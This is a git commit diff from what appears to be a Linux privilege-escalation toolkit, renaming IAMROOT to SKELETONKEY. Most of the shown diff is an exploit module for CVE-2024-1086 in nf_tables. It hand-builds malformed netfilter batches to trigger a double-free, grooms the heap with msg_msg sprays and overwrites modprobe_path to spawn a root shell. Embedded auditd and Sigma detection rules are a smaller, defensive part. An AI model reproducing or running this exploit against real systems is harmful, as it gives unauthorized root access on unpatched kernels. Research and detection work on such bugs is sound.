rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -16,7 +16,7 @@ GitHub: <https://github.com/Notselwyn/CVE-2024-1086>
|
||||
Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024).
|
||||
Stable backports throughout Q1 2024.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP
|
||||
in the same verdict) via a hand-rolled nfnetlink batch — no libmnl
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nf_tables_cve_2024_1086 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NF_TABLES_IAMROOT_MODULES_H
|
||||
#define NF_TABLES_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nf_tables_module;
|
||||
|
||||
#endif
|
||||
+52
-52
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nf_tables_cve_2024_1086 — IAMROOT module
|
||||
* nf_tables_cve_2024_1086 — SKELETONKEY module
|
||||
*
|
||||
* Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist
|
||||
* with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF
|
||||
@@ -13,11 +13,11 @@
|
||||
* (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo
|
||||
* that nft_verdict_init() fails to reject on vulnerable kernels),
|
||||
* fires the double-free path, runs the msg_msg cg-96 groom, and
|
||||
* returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior).
|
||||
* - With --full-chain: after the trigger lands, we resolve kernel
|
||||
* offsets (env → kallsyms → System.map → embedded table) and run
|
||||
* a Notselwyn-style pipapo arb-write via the shared
|
||||
* iamroot_finisher_modprobe_path() helper. The arb-write itself
|
||||
* skeletonkey_finisher_modprobe_path() helper. The arb-write itself
|
||||
* is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg
|
||||
* payload tagged with the kaddr in the value-pointer slot. The
|
||||
* exact pipapo_elem layout (and the value-pointer field offset)
|
||||
@@ -34,7 +34,7 @@
|
||||
* heap pointer.
|
||||
* 3. Implement the sk_buff fragment overwrite to plant a fake
|
||||
* pipapo_elem whose value points at modprobe_path.
|
||||
* 4. Fire trigger that writes "/tmp/iamroot-pwn" into modprobe_path.
|
||||
* 4. Fire trigger that writes "/tmp/skeletonkey-pwn" into modprobe_path.
|
||||
* 5. execve() an unknown binary to invoke modprobe with our payload.
|
||||
*
|
||||
* Affected kernel ranges:
|
||||
@@ -55,7 +55,7 @@
|
||||
* for unprivileged users even on a kernel-vulnerable host.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
@@ -134,12 +134,12 @@ static bool nf_tables_loaded(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nf_tables: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.14. Anything below predates it. */
|
||||
@@ -148,7 +148,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nf_tables: kernel %s predates the bug "
|
||||
"(introduced in 5.14)\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nf_tables_range, &v);
|
||||
@@ -156,7 +156,7 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nf_tables: kernel %s is patched\n", v.release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
@@ -180,14 +180,14 @@ static iamroot_result_t nf_tables_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[i] nf_tables: still patch the kernel — a root "
|
||||
"attacker can still trigger the bug\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nf_tables: VULNERABLE — kernel in range AND user_ns "
|
||||
"clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -229,7 +229,7 @@ static int enter_unpriv_namespaces(void)
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Minimal nfnetlink batch builder. We hand-roll this rather than
|
||||
* pulling libmnl, both to keep IAMROOT dep-free and because the bug
|
||||
* pulling libmnl, both to keep SKELETONKEY dep-free and because the bug
|
||||
* relies on a specific malformed verdict that libnftnl validates away.
|
||||
*
|
||||
* Each helper appends to a contiguous batch buffer at *off.
|
||||
@@ -318,9 +318,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
|
||||
* PoC (greatly simplified):
|
||||
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
||||
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
|
||||
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
|
||||
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
|
||||
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
|
||||
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
|
||||
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
|
||||
* data=verdict (the pipapo combo that holds the bad verdict),
|
||||
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
|
||||
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
|
||||
@@ -341,9 +341,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
* cross-cache groom.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_t";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_c";
|
||||
static const char NFT_SET_NAME[] = "iamroot_s";
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
|
||||
static const char NFT_SET_NAME[] = "skeletonkey_s";
|
||||
|
||||
/* batch begin / end markers */
|
||||
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
@@ -382,7 +382,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
|
||||
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
|
||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
@@ -447,8 +447,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* AND once on data_release → double free.
|
||||
*
|
||||
* We pack:
|
||||
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
|
||||
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
|
||||
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
|
||||
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
|
||||
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
|
||||
* data=verdict(GOTO chain-id=...) } }
|
||||
*/
|
||||
@@ -657,7 +657,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
|
||||
* exploitable range for which Notselwyn's public PoC was validated)
|
||||
* and rely on the shared finisher's sentinel-file post-check to flag
|
||||
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
||||
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
struct nft_arb_ctx {
|
||||
@@ -798,11 +798,11 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
|
||||
* The exploit body.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
|
||||
iamroot_result_t pre = nf_tables_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nf_tables_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
@@ -811,7 +811,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
if (geteuid() == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -834,27 +834,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
* as the arb-write.
|
||||
*/
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("nf_tables");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("nf_tables");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
@@ -863,11 +863,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
int qids[SPRAY_MSGS * 4];
|
||||
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
|
||||
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
|
||||
close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
@@ -880,12 +880,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
|
||||
drain_spray(qids, SPRAY_MSGS / 2);
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Wire up the arb-write context and hand off to the shared
|
||||
* finisher. The finisher will:
|
||||
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
|
||||
* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
|
||||
* which re-fires the trigger and sprays forged pipapo elems
|
||||
* - execve() the trigger binary to invoke modprobe
|
||||
* - poll for the setuid sentinel, and spawn a root shell. */
|
||||
@@ -898,7 +898,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
.qused = SPRAY_MSGS / 2,
|
||||
};
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
|
||||
nft_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
drain_spray(qids, ac.qused);
|
||||
@@ -913,7 +913,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
* kernel panics on KASAN we don't want our parent process to be
|
||||
* the one that takes the hit. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* --- CHILD --- */
|
||||
@@ -1040,7 +1040,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
"fired (KASAN/oops can manifest as child signal)\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -1054,20 +1054,20 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
" cross-cache groom + modprobe_path overwrite\n"
|
||||
" from github.com/Notselwyn/CVE-2024-1086.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (rc >= 20 && rc <= 25) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
@@ -1077,15 +1077,15 @@ static const char nf_tables_auditd[] =
|
||||
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
|
||||
"# This is the canonical exploit shape; legitimate userns + nft use\n"
|
||||
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
|
||||
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
|
||||
|
||||
static const char nf_tables_sigma[] =
|
||||
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
|
||||
"id: a72b5e91-iamroot-nf-tables\n"
|
||||
"id: a72b5e91-skeletonkey-nf-tables\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged user creating a\n"
|
||||
@@ -1107,7 +1107,7 @@ static const char nf_tables_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
||||
|
||||
const struct iamroot_module nf_tables_module = {
|
||||
const struct skeletonkey_module nf_tables_module = {
|
||||
.name = "nf_tables",
|
||||
.cve = "CVE-2024-1086",
|
||||
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
|
||||
@@ -1123,7 +1123,7 @@ const struct iamroot_module nf_tables_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nf_tables(void)
|
||||
void skeletonkey_register_nf_tables(void)
|
||||
{
|
||||
iamroot_register(&nf_tables_module);
|
||||
skeletonkey_register(&nf_tables_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
|
||||
#define NF_TABLES_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nf_tables_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user